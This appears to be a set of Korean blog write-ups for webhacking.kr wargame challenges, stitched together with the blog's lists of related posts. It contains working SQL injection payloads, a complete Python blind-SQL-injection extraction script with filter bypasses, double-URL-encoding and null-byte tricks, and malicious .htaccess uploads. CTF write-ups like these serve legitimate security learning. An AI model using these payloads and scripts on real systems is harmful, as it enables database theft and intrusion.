위와 같은 문제가 나타나게 되는데, 위의 정보에서는 계정 정보가 나타나게 됩니다.

여기서 자신의 계정도 찾을 수 있습니다.



만약 특정 계정을 클릭하게 되면 GET 메소드로 ?hit=계정아이디 라는 값이 전송되고,

Cookie 값에는 vote_check=ok;가 찍히게 됩니다.

vote_check=ok;가 찍히게 되면, 다시 한 번 투표를 할 수 없습니다.


이러한 특징을 이용하여 투표를 100번 하게 되면 플래그를 얻을 수 있습니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15


문제로 들어가면 자신의 아이피(WAN)와 10000~10100 사이의 랜덤 포트로 전송했다는 정보가 나옵니다.

여기서 Connection timed out 에러가 나면서 접속이 불가능하다고 나옵니다.


해당 문제 역시 공인아이피로 접속할 수 있는 자신의 서버가 있어야 풀 수 있습니다.


아래와 같이 10000 ~ 10100 사이의 포트가 계속 랜덤으로 변경하여 GET 메소드로 보낸 아이피로 값을 전송합니다.


자신의 서버에서 nc -lvp 옵션을 켜서 원하는 포트를 입력하고 값이 올 때까지 새로고침을 해주도록 합니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25


해당 문제를 풀기 위해서는 공인아이피로 접근이 가능한 개인 서버가 필요합니다.!


위와 같은 문제를 봤을 때는 파일 업로드 문제구나 싶습니다.

그런데, 소스를 보면 파일 업로드에 대한 필터가 전혀 되어 있지 않는 것을 볼 수 있습니다.

그래서 처음에는 문제 소스가 잘못 알려준 게 아닌가 싶어서 이리저리 취약점이 있는지 찾아보았는데...



<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>


위와 같이 3번 라인에서 mysqli_connect() 함수에 아무런 정보가 없는 것이 취약하다는 것이었습니다.

보통의 경우에는 mysqli_connect() 함수에 다음과 같은 형태로 접속 정보를 입력하도록 되어있습니다.



만약 위와 같은 정보를 입력하게 되면 mysqli_connect()에 사용할 정보를 .htaccess에서 혹은 php.ini에서 default 정보를 가져와 사용하게 됩니다.

https://www.php.net/manual/en/ini.list.php


이전과 다른 점이 있다면 이전 old 문제에서는 mysql_connect() 함수였기 때문에 mysql.default_port, mysql.default_user, mysql.default_password 라는 값에 원하는 값을 넣고 조작을 할 수 있었다면, 이번 문제에서는 mysqli_connect() 함수라는 점이 다릅니다.


mysqli_connect()에서 사용하는 default 정보는 위와 같습니다.

mysql.default_password와 mysqli.default_pw라는 점이 조금 다르고 나머지는 i가 붙은 거 외에는 다른 점이 없습니다.


이제 개인 서버에 접속할 때 긁어오는 SELECT 구문에 맞춰 아무렇게 database, table, column을 생성해줍니다.



또한 접근을 위해 계정을 하나 만들어주도록 합니다.

만약 mysql 서버가 Ubuntu 18.04에서 구동중이라면 다음과 같은 설정을 주석처리해주어야 합니다.

경로는 /etc/mysql/mysql.conf.d/mysqld.conf 파일입니다.


.htaccess에는 다음과 같이 정보를 넣어주었습니다.


php_value mysqli.default_host "kkamikoon.com:3306"

php_value mysqli.default_user "kkamikoon"

php_value mysqli.default_pw "비밀번호"



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25


문제를 보면 위와 같이 컬럼으로 보이는 정보를 던져줍니다.

파일을 업로드하면 업로드한 시간, 내 아이피, 파일 이름을 보여줍니다.

여기서 딱히 공격할 곳이 없어서 고민하는 도중 혹시 Insert에서 공격이 가능하지 않을까 해서 여러 시도를 해보았습니다.



위와 같이 공격을 시도한 것은 컬럼의 생김새가 어떻게 생겼을까 계속 고민하다가 잘 때려맞춰서 가능하였습니다.

컬럼 순서는 '파일이름', 타임스탬프(INT), '아이피' 순입니다.

꼬아 놓다니ㅣ... ㅠㅅㅠ...


위와 같이 정보를 막 입력하다보면 나오게 될 것입니다.

공격을 수행했던 코드는 다음과 같습니다.


< TEST를 위한 공격 코드 >

 filename="kkamikoontest!!', 1234, '내 아이피 직접 입력')#" 


< DB 정보를 가져오는 공격 코드 >

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT database()), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT table_name FROM information_schema.tables WHERE table_schema='chall29'), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT table_name FROM information_schema.tables limit 1,1), 1234, '내 아이피 입력')#" 

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT column_name FROM information_schema.columns where table_name='flag_congratz'), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT flag FROM flag_congratz), 1234, '내 아이피 입력')#" 




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24


문제를 보면 위의 제출 버튼을 누르는 입력 값에 값을 넣었을 때 result가 1 아니면 0이 나옵니다.

위의 GET 메소드 변수를 보니 String이 아닌 Integer 값인 것 같습니다.


여기서는 0x 값도 필터링 되어 있으니 0b로 수행하였습니다.

또한 띄어쓰기가 모두 필터링 되어 있어서 order by, limit(리밋은 문자 자체가 필터링) 등이 불가능하였고, select도 소괄호로 묶어서 수행하였습니다.


필터링 : 띄어쓰기관련 전부, hex, instr, 0x, limit, and, where 등..



import requests
import string
import re


requests.packages.urllib3.disable_warnings()
proxies     = {
    'http' : 'http://localhost:8888',
    'https': 'http://localhost:8888'
}
URL         = "https://webhacking.kr/challenge/web-10/?no="


def str2bin(string):
    return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)

def ord2bin(number):
    return '0b'+format(number, 'b').zfill(8)

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

dbLen       = 0

for i in range(100):
    payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass

bitLen      = 8
Database    = ""

for dblen in range(1, dbLen+1):

    tmpBit  = "" 

    for blen in range(1, bitLen+1):
        payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            tmpBit += "1"
        else:
            tmpBit += "0"

    Database += chr(int(tmpBit,2))

print("[+] Database Name : %s" % Database)

#TableLen = [0 for x in range(1,TableCnt+1)]
#Min

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableLen    = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Min Length : %d" % i)
        TableLen = i
        break
    else:
        pass

TableName = ""

for tlen in range(1, TableLen+1):
    for binStr in range(20, 128):
        payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            TableName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))

print("[+] Found Table Name : %s" % TableName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt   = 0

for i in range(1000):
    payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
    payload = payload % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Count : %d" % i)
        TableCnt = i
        break
    else:
        pass


ColumnLen   = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found ColumnLen Min : %d" % i)
        ColumnLen = i
        break
    else:
        pass



ColumnName = ""

for clen in range(1, ColumnLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            ColumnName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))

print("[+] Found Column Name : %s" % ColumnName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableName   = "flag_ab733768" # Table Name should be Lower Case
ColumnName  = "FLAG_3A55B31D"
ValueLen    = ""

for i in range(1000):
    payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
    payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Value Length : %d" % i)
        ValueLen = i
        break
    else:
        pass

Flag        = ""

for vlen in range(1,ValueLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
        payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
            Flag += chr(binStr)
            break
        else:
            pass


print("[+] Found Flag : %s" % Flag)



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.25(150) - old  (0) 2016.12.08

위와 같이 업로드 된 파일의 위치를 알려줍니다.

만약 파일을 선택해서 제출하게 되면 파일이 업로드된 위치를 알려주며, 파일을 읽을 수 있게 됩니다.


그러나 업로드될 때 왼쪽 꺽쇠(<) 값이 필터링되어 업로드됩니다.

또한 파일을 읽을 때 특수분자의 경우 필터링되어 출력되기 때문에 html 태그가 정상작동하지 않습니다.


때문에 웹쉘을 업로드하기가 어렵습니다. ㅠㅠ


고로 여기서는 다른 방법을 사용해보아야 합니다.



특수문자가 필터링 되어 client에 보여주는 경우에는 다음과 같은 파일에서 설정 값이 들어가게 됩니다.

.htaccess


위의 파일에서 php 파일의 경우 실행을 할지 안 할지 결정해주게 됩니다.

설정은 다음과 같습니다.


<Directory "/home/users/*/files">
    php_admin_flag Engine On
</Directory>


위의 php_admin_flag 이외에도, php_value, php_flag, php_admin_value 등이 있습니다.


무튼 위와 같이 php 파일을 실행할지 말지를 결정해줄 수 있기 때문에, 실행이 되지 않게 하면, String으로 그냥 보이지 않을까 하여 다음과 같은 옵션을 넣어 .htaccess라는 파일의 이름으로 업로드하였습니다.

php_flag engine off


이제 이 파일을 업로드 하였으니, 업로드한 디렉토리와 그 하위 디렉토리의 php 파일은 실행되지 않습니다.

그렇다면 flag.php도 실행되지 않을 것입니다.


이제 php 파일 내부의 소스를 읽어보고 풀이를 진행합시다.



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.25(150) - old  (0) 2016.12.08
Webhacking.kr_No.24(100) - old  (0) 2016.06.28

시작하고 GET Method로 no 변수에 숫자 1을 넣어주면 guest라는 문자열과 view-source가 나타나게 됩니다.

일단 view source 먼저 확인해보면 다음과 같습니다.


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>


위의 소스를 보면 no값에 숫자가 감싸져 있는 것을 볼 수 있습니다.

그리고 뒤에는 따로 주석처리할 게 없습니다. 


이를 우회하기 위해 다음과 같이 수행해 보았습니다.


select id from chall27 where id='guest' and no=(0)||id='guest' -- )

위와 같이 되면 guest가 나와야 정상이다.


그러나 위의 필터링에서 =, limit, 0x20(스페이스), 0x 등이 필터링 되어 있는 것을 볼 수 있습니다.


따라서 = 대신에 like를 0x20(스페이스) 대신에 GET Method로 %09 혹은 %0a를 넣어주도록 합시다.


문제의 답은 GET Method로 삽입하기 때문에 다음과 같이 쿼리를 넣어줄 수 있습니다.


테스트를 위해 guest를 출력해봄 no=0)%09or%09id%09like%09%27gu%25%27%09--%09

풀이를 위해 admin이 출력되게 함 no=0)%09or%09id%09like%09%27ad%25%27%09--%09




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.25(150) - old  (0) 2016.12.08
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28

소스코드를 보는 것이 문제의 시작이었습니다.

문제의 소스는 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }    
a { color:lightgreen; }
</style>
</head>
<body>
<?php
  if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
  $_GET['id'] = urldecode($_GET['id']);
  if($_GET['id'] == "admin"){
    solve(26);
  }
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>


위의 소스를 보게 되면 15번 라인의 php 부분에서 urldecode가 있는 것을 확인할 수 있습니다.

urldecode가 있는 경우 일단 urlencode를 수행한 것을 decode 하게 만들면 admin이 되지 않을까 하여 다음과 같은 방법으로 문제를 풀어보았습니다.

from urllib.parse import urlencode, quote_plus, quote

# data = bytes.hex("admin".encode())
# 'admin' --> '61646d696e'
# custom  --> %61%64%6d%69%6e

print(quote('%61%64%6d%69%6e'))


위의 소스로 나온 값은 다음과 같습니다.

%2561%2564%256d%2569%256e


이를 GET Method로 보내게 되면 풀리게 됩니다.


https://webhacking.kr/challenge/web-11/?id=%2561%2564%256d%2569%256e




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.25(150) - old  (0) 2016.12.08
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28
Webhacking.kr_No.20(200) - old  (0) 2016.06.28

[그림 01] level25 시작


level25를 시작하니 Directory listing 취약점처럼 보이는 것이 있습니다.

혹시 저 text 창이 webshell은 아니게찌이~?

......아닙니다. 그냥 text 영역입니다.


우리는 이제 URL을 살펴볼 필요가 있습니다.

혹시 GET 방식으로 뭔가 넘기는 게 있지 않을까 살펴보는 것이죠.


[그림 02] GET으로 넘기는 값 확인


GET 방식으로 ?file=hello를 넘기는 것을 확인할 수 있습니다.

현재 리스팅 된 파일을 보면 hello.txt라는 것이 보입니다. 그러나 file에서는 hello만 입력되었다는 것은 .txt가 뒤에 붙는다는 것을 말하는 것 같습니다.

그렇다면 우리는 hello만 file의 값으로 넘기면 뒤에 .txt를 붙여주게 된다는 힌트를 얻었습니다.

우리는 뒤에 있는 .txt를 소용없도록 만들어야 합니다.


문자열이라는 개념으로 다시 돌아가보면, 문자열의 끝은 NULL값으로 구분한다는 것을 알 수 있습니다.

그렇다면 우리는 '우리가 넘겨준 값이 진짜고 뒤에 붙는 .txt는 가짜입니다.'라는 것을 컴퓨터에게 알려줘야 합니다.

그렇다면 뒤에 hello.txt가 되기 전에 우리가 의도적으로 hello.txt를 만들어봅시다.


[그림 03] hello.txt%00 만들기


hello.txt%00은 hello.txt 뒤에 NULL도 함께 보내준다는 의미입니다.

실험해본 결과(with Fiddler 4) URL이 다시 ?file=hello로 바뀌지 않는 것을 보니 %00값이 소용이 있는 것으로 보입니다.

이제 우리는 password.php를 봐봐야겠습니다. 허허



[그림 04] 해결



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28
Webhacking.kr_No.20(200) - old  (0) 2016.06.28
Webhacking.kr_No.18(100) - old  (0) 2016.06.28

+ Recent posts